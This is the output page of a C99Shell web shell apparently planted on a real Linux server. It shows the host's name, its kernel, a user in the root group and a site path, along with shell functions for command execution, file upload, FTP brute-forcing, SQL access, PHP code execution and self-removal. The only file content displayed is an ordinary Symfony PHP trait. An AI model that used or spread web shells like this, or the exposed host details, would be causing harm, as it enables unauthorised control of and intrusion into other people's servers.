!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html_v5_10/vendor/symfony/service-contracts/   drwxr-xr-x
Free 28.58 GB of 117.98 GB (24.22%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ServiceSubscriberTrait.php (3.15 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Contracts\Service;

use 
Psr\Container\ContainerInterface;
use 
Symfony\Contracts\Service\Attribute\Required;
use 
Symfony\Contracts\Service\Attribute\SubscribedService;

trigger_deprecation('symfony/contracts''v3.5''"%s" is deprecated, use "ServiceMethodsSubscriberTrait" instead.'ServiceSubscriberTrait::class);

/**
 * Implementation of ServiceSubscriberInterface that determines subscribed services
 * from methods that have the #[SubscribedService] attribute.
 *
 * Service ids are available as "ClassName::methodName" so that the implementation
 * of subscriber methods can be just `return $this->container->get(__METHOD__);`.
 *
 * @property ContainerInterface $container
 *
 * @author Kevin Bond <kevinbond@gmail.com>
 *
 * @deprecated since symfony/contracts v3.5, use ServiceMethodsSubscriberTrait instead
 */
trait ServiceSubscriberTrait
{
    public static function 
getSubscribedServices(): array
    {
        
$services method_exists(get_parent_class(self::class) ?: ''__FUNCTION__) ? parent::getSubscribedServices() : [];

        foreach ((new 
\ReflectionClass(self::class))->getMethods() as $method) {
            if (
self::class !== $method->getDeclaringClass()->name) {
                continue;
            }

            if (!
$attribute $method->getAttributes(SubscribedService::class)[0] ?? null) {
                continue;
            }

            if (
$method->isStatic() || $method->isAbstract() || $method->isGenerator() || $method->isInternal() || $method->getNumberOfRequiredParameters()) {
                throw new 
\LogicException(sprintf('Cannot use "%s" on method "%s::%s()" (can only be used on non-static, non-abstract methods with no parameters).'SubscribedService::class, self::class, $method->name));
            }

            if (!
$returnType $method->getReturnType()) {
                throw new 
\LogicException(sprintf('Cannot use "%s" on methods without a return type in "%s::%s()".'SubscribedService::class, $method->nameself::class));
            }

            
/* @var SubscribedService $attribute */
            
$attribute $attribute->newInstance();
            
$attribute->key ??= self::class.'::'.$method->name;
            
$attribute->type ??= $returnType instanceof \ReflectionNamedType $returnType->getName() : (string) $returnType;
            
$attribute->nullable $returnType->allowsNull();

            if (
$attribute->attributes) {
                
$services[] = $attribute;
            } else {
                
$services[$attribute->key] = ($attribute->nullable '?' '').$attribute->type;
            }
        }

        return 
$services;
    }

    #[
Required]
    public function 
setContainer(ContainerInterface $container): ?ContainerInterface
    
{
        
$ret null;
        if (
method_exists(get_parent_class(self::class) ?: ''__FUNCTION__)) {
            
$ret parent::setContainer($container);
        }

        
$this->container $container;

        return 
$ret;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.028 ]--